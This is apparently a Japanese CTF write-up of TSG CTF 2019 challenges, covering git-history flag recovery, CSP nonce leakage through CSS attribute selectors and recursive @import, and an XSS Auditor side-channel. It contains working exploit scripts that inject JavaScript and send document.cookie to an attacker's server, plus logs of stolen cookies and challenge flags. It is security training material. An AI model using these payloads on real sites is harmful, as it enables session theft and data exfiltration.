5 月 4 日から 5 月 5 日にかけて開催された TSG CTF に、チーム Harekaze として参加しました。最終的にチームで 2851 点を獲得し、順位は得点 410 チーム中 6 位でした。うち、私は 5 問を解いて 1267 点を入れました。
以下、私が解いた問題の write-up です。
※ This problem has unintended solution, fixed as “Obliterated File Again”. Original problem statement is below.
Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I’m not sure but anyway typed them. It should be ok, right?
※ この問題は非想定な解法があり,”Obliterated File Again” で修正されました.元の問題文は以下の通りです.
TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫…?
$ git filter-branch –index-filter “git rm -f –ignore-unmatch problem/flag” –prune-empty – –all
$ git reflog expire –expire=now –all
$ git gc –aggressive –prune=now添付ファイル: problem.zip
与えられたファイルを展開すると、main.cr
や shard.yml
等の Web アプリケーションのソースコードに加え、.git/
という Git 関連のディレクトリが出てきました。
どうやら flag
という名前のファイルを削除したようなので、flag
をいじっているコミットを探してみましょう。
$ git log -p --all --full-history -- **/flag
commit 4168d6eb91ccb46581e3ce4cec35bec5e9f4ebde
Author: tsgctf <info@tsg.ne.jp>
Date: Thu May 2 05:45:41 2019 +0900
add problem statement
diff --git a/problem/flag b/problem/flag
new file mode 100644
index 0000000..111eb96
Binary files /dev/null and b/problem/flag differ
4168d6eb91ccb46581e3ce4cec35bec5e9f4ebde
というコミットで flag
が追加されたようです。 flag
を復元してみます。
$ git checkout 4168d6eb91ccb46581e3ce4cec35bec5e9f4ebde^ -- problem/flag
$ python2
>>> import zlib
>>> s = open('problem/flag','rb').read()
>>> zlib.decompress(s)
'TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}'
フラグが得られました。
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
I realized that the previous command had a mistake. It should be right this time…?
さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず……?
$ git filter-branch –index-filter “git rm -f –ignore-unmatch *flag” –prune-empty – –all
$ git reflog expire –expire=now –all
$ git gc –aggressive –prune=now添付ファイル: problem.zip
前述の方法でフラグが得られました。
$ git log -p --all --full-history -- **/flag
commit 78036f3e858975d2c574d81ba6c3a6f57573314a
Author: tsgctf <info@tsg.ne.jp>
Date: Sat May 4 20:54:43 2019 +0900
add problem statement
diff --git a/problem/flag b/problem/flag
new file mode 100644
index 0000000..c1e3752
--- /dev/null
+++ b/problem/flag
@@ -0,0 +1,2 @@
︙
$ git checkout 78036f3e858975d2c574d81ba6c3a6f57573314a^ -- problem/flag
$ python2
>>> import zlib
>>> s = open('problem/flag','rb').read()
>>> zlib.decompress(s)
'TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}'
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}
Reining in the Web with …?
Please send the flag1.
与えられた URL にアクセスすると Web サーバとクローラのソースコードが表示されました。
<?php
session_start();
$nonce = md5(session_id());
$_SESSION['count'] = isset($_SESSION['count']) ? $_SESSION['count'] + 1 : 0;
if ($_SESSION['count'] > 3){
setcookie('flag2', null, -1, '/');
}
if (!isset($_GET['q'])){
header('Location: /?q=[XSS]');
}
?>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';">
<title>BADNONCE</title>
<style>.container{width: 80%;font-size: 17px;} .bold{font-weight: bold;} .note{font-size: 10px;}</style>
</head>
<body>
<h1>BADNONCE</h1>
<div id="container" class="container">
<div id="crawler">
<p>You can send me an URL from <a href="/submit/">here</a>.</p>
<p>Administrators will check your link. <a href="/part_of_crawler.js">Here is the part of the crawler administrators use.</a></p>
<p>This session id was used <?= $_SESSION['count'] ?> times :-)</p>
</div>
<div id="q" class="note">
<p class="bold">This page uses Content-Security-Policy (CSP). Therefore it's safe from XSS! :-)</p>
<script nonce=<?= $nonce ?>>
console.log('Welcome to the dungeon :-)');
</script>
</div>
</div>
<!-- Here is an injection point :-) -->
<?= $_GET['q'] ?>
<hr>
<div>
<h2>src of this page</h2>
<?php highlight_file(__FILE__); ?>
</div>
</body>
</html>
Content Security Policy (CSP) が設定されているため、好きな JavaScript コードを実行したければ nonce
属性に指定された値を与えなければいけません。nonce は $nonce = md5(session_id());
とセッション ID から生成されているため、同じセッション ID が使われている限り同じものになります。URL を送信するとクローラはそこにアクセスしますが、毎回 Cookie が初期化されるため、セッション ID も変わります。
この問題では CSP は script-src
だけが設定されていることに着目します。default-src
や style-src
、frame-src
については何も設定されておらず、このため外部の URL を iframe
で開いたり、<style>body { background: red; }</style>
のように CSS を設定するといったことが自由にできます。
これを利用して、SECCON 2018 Online CTF の GhostKingdom と同じ要領で CSS の属性セレクタによって script
の nonce
属性を読み出すスクリプトを書いてみましょう。
index.php
<?php
if (!in_array($_SERVER['REMOTE_ADDR'], ['(問題サーバ)'])) {
die('sorry');
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>BADNONCE Part 1</title>
</head>
<body>
<script>
const target = 'http://(問題サーバ)/?q=';
const code = `
let iframe = document.createElement('iframe');
iframe.src = 'http://(攻撃者のサーバ)/log.php?cookie=' + encodeURIComponent(document.cookie);
document.body.append(iframe);
`;
let nonce = '';
let i = 0;
let check = () => {
let style = '<style>';
for (let c of '0123456789abcdef') {
style += `script[nonce^="${nonce + c}"] { background: url("http://(攻撃者のサーバ)/log.php?nonce=${nonce + c}"); }`
}
style += '</style>';
let iframe = document.createElement('iframe');
iframe.src = target + encodeURIComponent(style);
iframe.onload = () => {
fetch('/log.php').then(resp => resp.text()).then(resp => {
if (i < 32) {
nonce = resp;
console.log(nonce);
i++;
check();
} else {
let iframe = document.createElement('iframe');
iframe.src = target + '%3Cscript' + encodeURIComponent(` nonce=${nonce}`) + '%3E' + encodeURIComponent(code) + '%3C%2Fscript%3E';
document.body.append(iframe);
}
});
};
document.body.append(iframe);
};
check();
</script>
</body>
</html>
log.php
<?php
if (!in_array($_SERVER['REMOTE_ADDR'], ['(問題サーバ)'])) {
die('sorry');
}
if (isset($_GET['nonce'])) {
file_put_contents('nonce.txt', $_GET['nonce']);
}
echo file_get_contents('nonce.txt');
このスクリプトは以下のような手順で動きます。
script[nonce^="(判明している nonce の一部)(試す文字)"] { background: url('http://(攻撃者のサーバ)/?log.php=(判明している nonce の一部)(試す文字)'); }
を 0123456789abcdef
の 16 文字分生成<style>
</style>
で囲み、http://(問題サーバ)/?q=<style>(CSS のルール)</style>
を iframe
でクローラに開かせるhttp://(問題サーバ)/?q=<script nonce=(特定した nonce)>(JavaScript コード)</script>
で好きなコードを実行document.cookie
を送信させるコードをクローラに実行させるように code
を設定し、URL を巡回させるとフラグが得られました。
TSGCTF{dEv1L_15_1n_7he_DE741l2}
Reining in the Web with …?
Please send the flag2.
与えられた URL は BADNONCE Part 1 と同じものですが、今回は flag2
を手に入れる必要があるようです。与えられたソースコードで flag2
を参照している箇所を確認します。
$_SESSION['count'] = isset($_SESSION['count']) ? $_SESSION['count'] + 1 : 0;
if ($_SESSION['count'] > 3){
setcookie('flag2', null, -1, '/');
}
規定された回数以上アクセスするとflag2
という Cookie が削除されてしまいます。先程の解法では nonce を特定する際に 1 文字につき 1 回のアクセスをしているため、規定回数を超え、flag2
が削除されてしまっていたようです。
1 度のアクセスで nonce を特定できないかググっていると、Better Exfiltration via HTML Injection – d0nut – Medium という記事が見つかりました。この記事では、@import
を使って以下のような流れで属性値を読み取っています。
<style>@import url(http://(攻撃者のサーバ)/staging);</style>
を挿入する/staging
からさらに /polling?len=0
/polling?len=1
… /polling?len=31
を @import
で読み込ませるが、/polling?len=0
以外はレスポンスを保留させる/polling?len=0
で属性セレクタを使って特定の属性値の 1 文字目を読み取る/polling?len=1
について、得られた 1 文字目を使って 2 文字目を読み取る CSS ルールを返すこの記事中で紹介されている d0nutptr/sic というツールを使って nonce を特定し、好きな JavaScript コードを実行させてみましょう。
まず属性セレクタによる属性値の読み取り用のテンプレートを用意し、sic
を立ち上げます。
$ cat template
script[nonce^="{{:token:}}"] { background: url({{:callback:}}); }
$ sudo sic/target/release/sic -p 8080 --ph "http://(攻撃者のサーバ):8080" --ch "http://(攻撃者のサーバ):8081" -t template
続いて、特定した nonce を使って JavaScript コードを実行させるための Web サーバを php -S 0.0.0.0:8082
で立ち上げます。
index.html
<script>
let i = 0;
let f = () => {
if (i >= 20) {
location.href = "go.php";
} else {
i++;
// nonce.txt は人間が編集するので、2 秒程度待ってもらう
// クローラは waitUntil: 'networkidle0' という設定なので、定期的に log.php にアクセスさせる
(new Image).src = 'log.php?' + i;
setTimeout(f, 200);
}
};
setTimeout(f, 200);
</script>
go.php
<?php
$nonce = trim(file_get_contents('nonce.txt'));
$payload = "<script nonce='${nonce}'>let iframe=document.createElement('iframe');iframe.src='http://(攻撃者のサーバ):8082/log.php?' + document.cookie;document.body.append(iframe);</script>";
$payload = urlencode($payload);
echo "<script>location.href='http://(問題サーバ)/?q=${payload}'</script>";
http://(問題サーバ)/?q=%3Cstyle%3E@import%20url(http://(攻撃者のサーバ):8080/staging?len=32);%3C/style%3E%3Ciframe%20src=%22http://(攻撃者のサーバ):8082%22%3E%3C/iframe%3E
をクローラに巡回させ、nonce が特定でき次第すぐに nonce.txt
を書き換えます。しばらくすると以下のようなログが流れ、フラグが得られました。
[Sun May 5 04:09:23 2019] (問題サーバ):36884 [200]: /log.php?PHPSESSID=68106666f62588dadbe7edc95581ec89;%20flag1=TSGCTF{dEv1L_15_1n_7he_DE741l2};%20flag2=TSGCTF{r3CuR51v3_1MP0R7_73cHN1Kw3_15_50_k3WL}
TSGCTF{r3CuR51v3_1MP0R7_73cHN1Kw3_15_50_k3WL}
I’ve made a Web page where you can publish your profile. You can keep your password hint with your preferences. Let’s reveal the preferences of an administrator (username: admin) and get the FLAG!
プロフィールを公開できるサービスを作ってみました。ついでにパスワードのヒントをあなたの好き嫌いと紐付けられるようにしてみました。もし管理者 (ユーザー名: admin) の好き嫌いがバレてしまったら、まずいことになるなあ。
与えられた URL にアクセスすると、Sign Up
(/signup
)、 Recovery
(/recover
)、 Report
(/report
) の 3 つのリンクとログイン用のフォームが表示されました。
まず /signup
からユーザの登録をします。ユーザ名、パスワード、プロフィールに加えて、パスワードリカバリ用のメッセージと、ぶどうやメロン等 20 個の好きな食べ物をチェックボックス形式で入力する秘密の質問のフォームが用意されています。
秘密の質問は /recover
で利用できます。ユーザ名と好きな食べ物をすべて正確に答えられると、登録時に設定したパスワードリカバリ用のメッセージが表示されるようです。
ユーザ登録後、/profile
にリダイレクトされました。ここではプロフィールの編集と、以下のように登録時に設定した好きな食べ物の確認ができます。また、他のユーザが閲覧するための URL である /profile/(ユーザ ID)
へのリンクも張られています。
<div class="form-group">
🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=true;" checked>
🍈 <input type="checkbox" id="melon" onchange="melon.checked=true;" checked>
🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=true;" checked>
🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=false;" >
🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" >
🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" >
🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=false;" >
🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" >
🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" >
🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" >
🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" >
🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" >
🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" >
🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" >
🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" >
🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=false;" >
🥔 <input type="checkbox" id="potato" onchange="potato.checked=false;" >
🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=false;" >
🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" >
🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=false;" >
</div>
この Web アプリケーションには /profile/(ユーザ ID)
に脆弱性があり、プロフィールを <img src=http://example.com>
のように設定することで XSS ができます。
しかしながら、Content-Security-Policy: script-src 'self'; style-src 'self'
のように Content-Security-Policy
ヘッダによって JavaScript と CSS は同じオリジンのものしか読み込めないように設定されています。また、X-XSS-Protection: 1; mode=block
のように X-XSS-Protection
ヘッダによって XSS Auditor が有効化され、Reflected XSS も困難になっています。
さて、XSS Auditor は本来 Reflected XSS を抑止するための機構ですが、意図的に誤検知をさせることでブラウザのXSSフィルタを利用した情報窃取攻撃 | MBSD Blog のように情報の読み取りに使うことができます。
この問題で例を挙げてみましょう。好きな食べ物が先程のように設定されている場合、/profile?onchange="grapes.checked=false;"
にアクセスすると何も起きませんが、/profile?onchange="grapes.checked=true;"
にアクセスすると GET パラメータがそのまま HTML に出力されているものと XSS Auditor が判断してしまい、ページの読み込みを遮断してしまいます。これを利用して、ページの読み込みが遮断されるかされないかを何らかの方法で外部から観測することで、情報を読み取ることができます。
では、好きな食べ物を読み取るスクリプトを書いてみましょう。35C3 CTF の filemanager の write-up を参考に、iframe
で読み込んだ後、URL に #
を足して onload
が呼ばれるかどうかで XSS Auditor によってアクセスが遮断されたかどうかを確認します。
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>exp</title>
</head>
<body>
<script>
const fruits = [
"grapes", "melon", "watermelon", "tangerine", "lemon", "banana", "pineapple", "pear", "peach", "cherries", "strawberry", "tomato", "coconut", "mango", "avocado", "aubergine", "potato", "carrot", "broccoli", "mushroom"
];
for (let fruit of fruits) {
let iframe = document.createElement('iframe');
iframe.src = 'http://(問題サーバ)/profile?' + encodeURIComponent(`onchange="${fruit}.checked=true`);
iframe.onload = () => {
iframe.onload = () => {
(new Image).src = 'http://(攻撃者のサーバ)?' + fruit + '=true';
};
iframe.src += '#';
};
document.body.append(iframe);
}
</script>
</body>
</html>
php -S 0.0.0.0:8080
で Web サーバを立ち上げます。プロフィールを <iframe src='http://(攻撃者のサーバ):8080/'></iframe>
に変更し、/report
から自作自演で報告します。しばらくすると、以下のように admin の好きな食べ物がわかりました。
[Sun May 5 01:52:31 2019] (問題サーバ):50188 [200]: /?grapes=true
[Sun May 5 01:52:31 2019] (問題サーバ):50190 [200]: /?tangerine=true
[Sun May 5 01:52:31 2019] (問題サーバ):50192 [200]: /?lemon=true
[Sun May 5 01:52:31 2019] (問題サーバ):50194 [200]: /?banana=true
[Sun May 5 01:52:31 2019] (問題サーバ):50196 [200]: /?pineapple=true
[Sun May 5 01:52:31 2019] (問題サーバ):50198 [200]: /?cherries=true
[Sun May 5 01:52:31 2019] (問題サーバ):50200 [200]: /?peach=true
[Sun May 5 01:52:31 2019] (問題サーバ):50202 [200]: /?tomato=true
[Sun May 5 01:52:31 2019] (問題サーバ):50204 [200]: /?strawberry=true
[Sun May 5 01:52:31 2019] (問題サーバ):50206 [200]: /?coconut=true
[Sun May 5 01:52:31 2019] (問題サーバ):50210 [200]: /?mango=true
[Sun May 5 01:52:31 2019] (問題サーバ):50208 [200]: /?aubergine=true
[Sun May 5 01:52:31 2019] (問題サーバ):50212 [200]: /?carrot=true
[Sun May 5 01:52:31 2019] (問題サーバ):50214 [200]: /?mushroom=true
これを /recover
で admin のユーザ名と一緒に入力するとフラグが得られました。
TSGCTF{x5_l34k5_4R3_4M421ng}